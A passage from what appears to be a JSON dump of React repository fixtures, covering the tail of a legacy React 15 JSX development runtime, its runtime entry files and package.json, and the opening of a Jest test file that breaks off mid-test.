REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var stack = '';\n\n    if (currentlyValidatingElement) {\n      stack += ReactComponentTreeHook.getCurrentStackAddendum(currentlyValidatingElement)\n    }\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\n\nvar BEFORE_SLASH_RE = /^(.*)[\\\\\\/]/;\nfunction describeComponentFrame (name, source, ownerName) {\n  var sourceInfo = '';\n\n  if (source) {\n    var path = source.fileName;\n    var fileName = path.replace(BEFORE_SLASH_RE, '');\n\n    {\n      // In DEV, include code for a common special case:\n      // prefer \"folder/index.js\" instead of just \"index.js\".\n      if (/^index\\./.test(fileName)) {\n        var match = path.match(BEFORE_SLASH_RE);\n\n        if (match) {\n          var pathBeforeSlash = match[1];\n\n          if (pathBeforeSlash) {\n            var folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');\n            fileName = folderName + '/' + fileName;\n          }\n        }\n      }\n    }\n\n    sourceInfo = ' (at ' + fileName + ':' + source.lineNumber + ')';\n  } else if (ownerName) {\n    sourceInfo = ' (created by ' + ownerName + ')';\n  }\n\n  return '\\n    in ' + (name || 'Unknown') + sourceInfo;\n}\n\nvar Resolved = 1;\nfunction refineResolvedLazyComponent(lazyComponent) {\n  return lazyComponent._status === Resolved ? lazyComponent._result : null;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName);\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return \"Profiler\";\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        return 'Context.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        return 'Context.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type.render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var thenable = type;\n          var resolvedThenable = refineResolvedLazyComponent(thenable);\n\n          if (resolvedThenable) {\n            return getComponentName(resolvedThenable);\n          }\n\n          break;\n        }\n    }\n  }\n\n  return null;\n}\n\nvar loggedTypeFailures = {};\nvar currentlyValidatingElement = null;\n\nfunction setCurrentlyValidatingElement(element) {\n  {\n    currentlyValidatingElement = element;\n  }\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = require('react/lib/ReactCurrentOwner');\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if (!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = require('react/lib/ReactCurrentOwner');\n\nfunction setCurrentlyValidatingElement$1(element) {\n  currentlyValidatingElement = element;\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = ReactCurrentOwner$1.current.getName();\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + element._owner.getName() + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n// even with the prod transform. This means that jsxDEV is purely\n// opt-in behavior for better messages but that we won't stop\n// giving you warnings if you use production apis.\n\nfunction jsxWithValidationStatic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, true);\n  }\n}\nfunction jsxWithValidationDynamic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, false);\n  }\n}\n\nvar jsx =  jsxWithValidationDynamic ; // we may want to special case jsxs internally to take advantage of static children.\n// for now we can ship identical prod functions\n\nvar jsxs =  jsxWithValidationStatic ;\n\nexports.jsx = jsx;\nexports.jsxs = jsxs;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-15/jsx-dev-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-dev-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-dev-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-15/jsx-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-15/package.json",
    "content": "{\n  \"dependencies\": {\n    \"react\": \"15\",\n    \"react-dom\": \"15\"\n  }\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-15/react-15.test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n// These tests are based on ReactJSXElement-test,\n// ReactJSXElementValidator-test, ReactComponent-test,\n// and ReactElementJSX-test.\n\njest.mock('react/jsx-runtime', () => require('./jsx-runtime'), {virtual: true});\njest.mock('react/jsx-dev-runtime', () => require('./jsx-dev-runtime'), {\n  virtual: true,\n});\n\nlet React = require('react');\nlet ReactDOM = require('react-dom');\nlet ReactTestUtils = {\n  renderIntoDocument(el) {\n    const container = document.createElement('div');\n    return ReactDOM.render(el, container);\n  },\n};\nlet PropTypes = require('prop-types');\nlet Component = class Component extends React.Component {\n  render() {\n    return <div />;\n  }\n};\nlet RequiredPropComponent = class extends React.Component {\n  render() {\n    return <span>{this.props.prop}</span>;\n  }\n};\nRequiredPropComponent.displayName = 'RequiredPropComponent';\nRequiredPropComponent.propTypes = {prop: PropTypes.string.isRequired};\n\nit('works', () => {\n  const container = document.createElement('div');\n  ReactDOM.render(<h1>hello</h1>, container);\n  expect(container.textContent).toBe('hello');\n});\n\nit('returns a complete element according to spec', () => {\n  const element = <Component />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a lower-case to be passed as the string type', () => {\n  const element = <div />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a string to be passed as the type', () => {\n  const TagName = 'div';\n  const element = <TagName />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('returns an immutable element', () => {\n  const element = <Component />;\n  if (process.env.NODE_ENV === 'development') {\n    expect(() => (element.type = 'div')).toThrow();\n  } else {\n    expect(() => (element.type = 'div')).not.toThrow();\n  }\n});\n\nit('does not reuse the object that is spread into props', () => {\n  const config = {foo: 1};\n  const element = <Component {...config} />;\n  expect(element.props.foo).toBe(1);\n  config.foo = 2;\n  expect(element.props.foo).toBe(1);\n});\n\nit('extracts key and ref from the rest of the props', () => {\n  const element = <Component key=\"12\" ref=\"34\" foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe('34');\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('coerces the key to a string', () => {\n  const element = <Component key={12} foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe(null);\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('merges JSX children onto the children prop', () => {\n  const a = 1;\n  const element = <Component children=\"text\">{a}</Component>;\n  expect(element.props.children).toBe(a);\n});\n\nit('does not override children if no JSX children are provided', () => {\n  const element = <Component children=\"text\" />;\n  expect(element.props.children).toBe('text');\n});\n\nit('overrides children if null is provided as a JSX child', () => {\n  const element = <Component children=\"text\">{null}</Component>;\n  expect(element.props.children).toBe(null);\n});\n\nit('overrides children if undefined is provided as an argument', () => {\n  const element = <Component children=\"text\">{undefined}</Component>;\n  expect(element.props.children).toBe(undefined);\n\n  const element2 = React.cloneElement(\n    <Component children=\"text\" />,\n    {},\n    undefined\n  );\n  expect(element2.props.children).toBe(undefined);\n});\n\nit('merges JSX children onto the children prop in an array', () => {\n  const a = 1;\n  const b = 2;\n  const c = 3;\n  const element = (\n    <Component>\n      {a}\n      {b}\n      {c}\n    </Component>\n  );\n  expect(element.props.children).toEqual([1, 2, 3]);\n});\n\nit('allows static methods to be called using the type property', () => {\n  class StaticMethodComponent {\n    static someStaticMethod() {\n      return 'someReturnValue';\n    }\n    render() {\n      return <div />;\n    }\n  }\n\n  const element = <StaticMethodComponent />;\n  expect(element.type.someStaticMethod()).toBe('someReturnValue');\n});\n\nit('identifies valid elements', () => {\n  expect(React.isValidElement(<div />)).toEqual(true);\n  expect(React.isValidElement(<Component />)).toEqual(true);\n\n  expect(React.isValidElement(null)).toEqual(false);\n  expect(React.isValidElement(true)).toEqual(false);\n  expect(React.isValidElement({})).toEqual(false);\n  expect(React.isValidElement('string')).toEqual(false);\n  expect(React.isValidElement(Component)).toEqual(false);\n  expect(React.isValidElement({type: 'div', props: {}})).toEqual(false);\n});\n\nit('is indistinguishable from a plain object', () => {\n  const element = <div className=\"foo\" />;\n  const object = {};\n  expect(element.constructor).toBe(object.constructor);\n});\n\nit('should use default prop value when removing a prop', () => {\n  Component.defaultProps = {fruit: 'persimmon'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Component fruit=\"mango\" />, container);\n  expect(instance.props.fruit).toBe('mango');\n\n  ReactDOM.render(<Component />, container);\n  expect(instance.props.fruit).toBe('persimmon');\n});\n\nit('should normalize props with default values', () => {\n  class NormalizingComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NormalizingComponent.defaultProps = {prop: 'testKey'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<NormalizingComponent />, container);\n  expect(instance.props.prop).toBe('testKey');\n\n  const inst2 = ReactDOM.render(\n    <NormalizingComponent prop={null} />,\n    container\n  );\n  expect(inst2.props.prop).toBe(null);\n});\n\nit('warns for keys for arrays of elements in children position', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <Component>{[<Component />, <Component />]}</Component>\n    )\n  ).toErrorDev('Each child in a list should have a unique \"key\" prop.');\n});\n\nit('warns for keys for arrays of elements with owner info', () => {\n  class InnerComponent extends React.Component {\n    render() {\n      return <Component>{this.props.childSet}</Component>;\n    }\n  }\n\n  class ComponentWrapper extends React.Component {\n    render() {\n      return <InnerComponent childSet={[<Component />, <Component />]} />;\n    }\n  }\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<ComponentWrapper />)\n  ).toErrorDev(\n    'Each child in a list should have a unique \"key\" prop.' +\n      '\\n\\nCheck the render method of `InnerComponent`. ' +\n      'It was passed a child from ComponentWrapper. '\n  );\n});\n\nit('does not warn for arrays of elements with keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>{[<Component key=\"#1\" />, <Component key=\"#2\" />]}</Component>\n  );\n});\n\nit('does not warn for iterable elements with keys', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        next: function () {\n          const done = ++i > 2;\n          return {\n            value: done ? undefined : <Component key={'#' + i} />,\n            done: done,\n          };\n        },\n      };\n    },\n  };\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn for numeric keys in entry iterable as a child', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        